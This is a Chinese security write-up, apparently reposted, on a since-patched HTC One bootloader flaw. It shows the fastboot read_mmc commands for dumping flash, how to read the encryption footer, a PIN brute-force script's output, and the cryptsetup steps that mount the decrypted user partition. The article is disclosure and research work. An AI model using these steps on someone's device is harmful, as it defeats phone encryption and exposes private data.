利用HTC One漏洞破解手机PIN密码
HTC One手机运行的是Android 4.2.2、HBOOT 1.54.0000,它存在一个名为Bootloader的漏洞。这个漏洞早在2014年2月份就报告给了HTC官方,并在次月就修复了该漏洞。在得到HTC官方同意后,我们现在就将整个漏洞利用测试过程发布出来。
read_emmc命令在2011发布的HTC DesireZ手机中也曾出现过。这个命令允许攻击者访问手机内存,并可能获取短信、联系人等敏感信息。
此外,这条命令允许攻击者通过bruteforce自动获取手机PIN/passcode。他会打开一个额外的缺口防止用户定义易猜解的PIN/passcode(比如说就4个数字的PIN)。这是常有的事情,因为日常解锁手机也是可以使用PIN/passcode的。
这个攻击仅限于HTC One手机且还得开启全盘加密,也就是说手机由安卓加密保护。
read_emmc命令在部分HTC手机中似乎是一个用来调试的命令。在我们看来,这条命令不应该出现在用户手机上。
这篇文章描述了HTC One在安卓全盘加密上的强悍安全机制(AES加密, 合理的密钥长度, salt) 。
访问闪存
将HTC One关机然后插入电脑,然后进入fastboot模式(关机状态按住音量+键以及开机键,然后放开开机键),这样我们可以从HBOOT进入fastboot模式。
到了这里,我们就可以利用fastboot进行读取内存操作了,命令如下:
commandformat:
read_mmc [emmc/sd] [start] [#blocks] [#blocks/read] [show]
我们来看看参数的定义:
第一个参数,告诉机器从哪里读取。“emmc”是读取闪存,“sd”是读取内存卡
#blocks: 读取块的数量
#blocks/read:一次读取块的数量
show:设置成1来显示结果
读取第一个扇区,可以使用如下命令
$fastboot oem read_mmc emmc 0 1 1 1
...
(bootloader) reading sector 0 ~ 0
(bootloader) 0
...
(bootloader) 0
(bootloader) DF
(bootloader) FF
(bootloader) 3
(bootloader) 0
(bootloader) 20
(bootloader) E0
(bootloader) 9F
(bootloader) 3
(bootloader) 55
(bootloader) AA
(bootloader) read sector done average = 172
OKAY [ 0.310s]
finished. total time: 0.311s
从头开始看,我们可以看到许多的0(超过400字节),其结尾是“55 AA” 。
在手机上使用ADB Shell,我们可以看到用户的数据分区块“mmcblk0p37”是从6422528开始的。在安卓下它与挂载的ext4分区对应
shell@android#cat /proc/emmc
dev: size erasesize name
...
mmcblk0p37: 680000000 00000200 "userdata"
shell@android:# cat /sys/block/mmcblk0/mmcblk0p37/start
6422528
shell@android:# mount
...
/dev/block/mmcblk0p37 /data ext4 rw,nosuid,nodev,noatime,discard,noauto_da_alloc,data=ordered 0 0
因此,攻击者可以使用“read_mmc” 命令,在闪存中浏览用户数据分区中的内容,即使用户设定了PIN/密码都无法阻止。
$fastboot oem read_mmc emmc 6422530 1 1 1
...
(bootloader) reading sector 6422530 ~ 6422530
(bootloader) 0
...
(bootloader) 2F
(bootloader) 64
(bootloader) 61
(bootloader) 74
(bootloader) 61
...
(bootloader) read sector done average = 146
OKAY [ 0.359s]
finished. total time: 0.359s
“2F 64 61 74 61”字节序列是位于用户数据分区开始的“/data” ASCII字符串。
我们的第一个想法就是实现从闪存将用户数据进行转储,然而这个过程需要几天甚至是几个月时间。
另一个想法是利用FUSE(用户空间的文件系统)通过USB连接电脑转储用户数据。
绕过安卓全盘加密(PDE)
在HTC Desire Z( Android 2.x)时代还没有出现全盘加密,我们现在考虑是否有办法绕过PDE,使用“read_mmc”漏洞。
ThomasCannon在2012年Defcon大会上向我们演示了PDE工作过程,使用 bruteforce破解PIN/passcode以及解密用户扇区数据的脚本。在那个时候,他使用的是Google Nexus S纯原生,与这里这个例子稍有不同。
我们决定对设备进行加密,“存储>手机存储加密”。通过其方法,我们注意到出现了一个额外的分区,这个分区就是用来存储密钥的。
$hexdump -C extra
00000000 c4 b1 b5 d0 01 00 00 00 68 00 00 00 00 00 00 00 |........h.......|
00000010 20 00 00 00 00 00 00 00 00 00 40 03 00 00 00 00 |.........@.....|
00000020 00 00 00 00 61 65 73 2d 63 62 63 2d 65 73 73 69 |....aes-cbc-essi|
00000030 76 3a 73 68 61 32 35 36 00 00 00 00 00 00 00 00 |v:sha256........|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000060 00 00 00 00 00 00 00 00 {15 d2 9c 16 1c 54 40 1c |.............T@.|
00000070 b4 c1 e4 91 69 10 4b 55 2e 47 64 31 13 52 ad 2d |....i.KU.Gd1.R.-|
00000080 bd 8c 42 8e d6 c4 84 00} 00 00 00 00 00 00 00 00 |..B.............|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000000a0 00 00 00 00 00 00 00 00 [c7 1f 34 80 97 09 fd 39 |..........4....9|
000000b0 0b 4a 91 d9 d9 d8 00 cd] 00 00 00 00 00 00 00 00 |.J..............|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000200
Note: 对主密钥及内部数据解密,推荐大家看看Thomas的幻灯片。
我们正好处于加密头的位置,于是我可以很快得到
shell@android#cat /proc/emmc
dev: size erasesize name
...
mmcblk0p27: 00010000 00000200 "extra"
shell@android:# cat /sys/block/mmcblk0/mmcblk0p27/start
586799
然后,我们可以再次确认用户数据分区被加密。第一个字节告诉我们,“This is an encrypted device:)”,这仅仅是在HTC One中才有的。他之所以能这么写,是因为在默认的ext4分区中第一个字节并没有使用,其他字节都是随机字节。
shell@android:#./busybox hexdump -C /dev/block/mmcblk0p37 -n 64
00000000 54 68 69 73 20 69 73 20 61 6e 20 65 6e 63 72 79 |This is an encry|
00000010 70 74 65 64 20 64 65 76 69 63 65 3a 29 6f c3 a0 |pted device:)o..|
00000020 26 bc 76 ed a8 77 ef 6a 95 28 32 ab 24 ce 8d 58 |&.v..w.j.(2.$..X|
00000030 91 fe 8e 14 9e 81 05 a4 28 65 64 3c 1b e2 11 56 |........(ed<...V|
00000040
接着,我们可以确定能够访问这个头,使用fastboot 中“read_mmc” 命令对用户数据分区进行加密
$fastboot oem read_mmc emmc 586799 1 1 1
由此,我们可以编写一个小脚本来读取PDE头,用户数据分区的第一个扇区然后通过电脑进行破解。
#python bruteforce_htcone_over_reademmc.py
oem read_mmc emmc 6422528 1 1 1
oem read_mmc emmc 586799 1 1 1
Footer File : extra
Magic : 0xD0B5B1C4
Major Version : 1
Minor Version : 0
Footer Size : 104 bytes
Flags : 0x00000000
Key Size : 256 bits
Failed Decrypts: 0
Crypto Type : aes-cbc-essiv:sha256
Encrypted Key :0x15D29C161C54401CB4C1E49169104B552E4764311352AD2DBD8C428ED6C48400
Salt : 0xC71F34809709FD390B4A91D9D9D800CD
----------------
Trying to Bruteforce Password... please wait
Found PIN!: 0000
Saving decrypted master key to 'keyfile'
挂载用户数据加密分区
攻击者可以通过上文轻松获取PIN/passcode,他能正常接通电话,重写或者创建PIN/passcode,然后开启ADB,做他想做的任何事。
#mkdir mnt
# losetup /dev/loop0 userdata.img
# cryptsetup –type plain open –c aes-cbc-essiv:sha256 –d keyfile /dev/loop0userdata
# mount /dev/mapper/userdata mnt
在这个例子上,我们甚至可以通过USB在电脑上执行“read_mmc” 命令。
演示详情详见GitHub。
[参考来源Sogeti,文/实习编辑 鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]
- ASP.NET MVC的Model元数据与Model模板:模板的获取与执行策略
- python3.6抓取100知乎用户头像详解(四)
- 从运营商小广告到HTTPS
- .NET Core采用的全新配置系统[5]: 聊聊默认支持的各种配置源[内存变量,环境变量和命令行参数]
- 区块链:为什么它不仅仅是比特币?
- Java Mail(二):JavaMail介绍及发送一封简单邮件
- ASP.NET MVC Controller激活系统详解:总体设计
- .NET Core采用的全新配置系统[7]: 将配置保存在数据库中
- Selenium3+Python3环境部署
- Java Mail(三):Session、Message详解
- .NET Core采用的全新配置系统[8]: 如何实现配置与源文件的同步
- 四个问答让你秒懂区块链原理及应用
- .NET Core采用的全新配置系统[9]: 为什么针对XML的支持不够好?如何改进?
- 【机器学习实战】第11章 使用 Apriori 算法进行关联分析
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- only integer scalar arrays can be converted to a scalar index
- 不再迷惑,无值和 NULL 值
- Tensorflow 读取 CIFAR-10 数据集
- 使用二维数据构造简单卷积神经网络
- HTTP的同源策略与跨域资源共享(CORS)机制
- tf.transpose函数解析
- 新版RTSP协议视频流媒体平台EasyNVR首页播放器遮挡下拉框的问题优化
- CentOS系统下RTSP协议拉流视频平台EasyNVR端口如何穿透防火墙?
- 高吞吐量消息系统—kafka
- 国人开源了一款小而全的 Java 工具类库,厉害啊!!
- tf.session.run()单函数运行和多函数运行区别
- 使用 Tensorflow 在 CIFAR-10 二进制数据集上构建 CNN
- Hold Time违例,该如何解决
- Tensorflow BN详解:4_使用tf.nn.batch_normalization实现BN
- Tensorflow BatchNormalization详解:3_使用tf.layers高级函数来构建带有BN的神经网络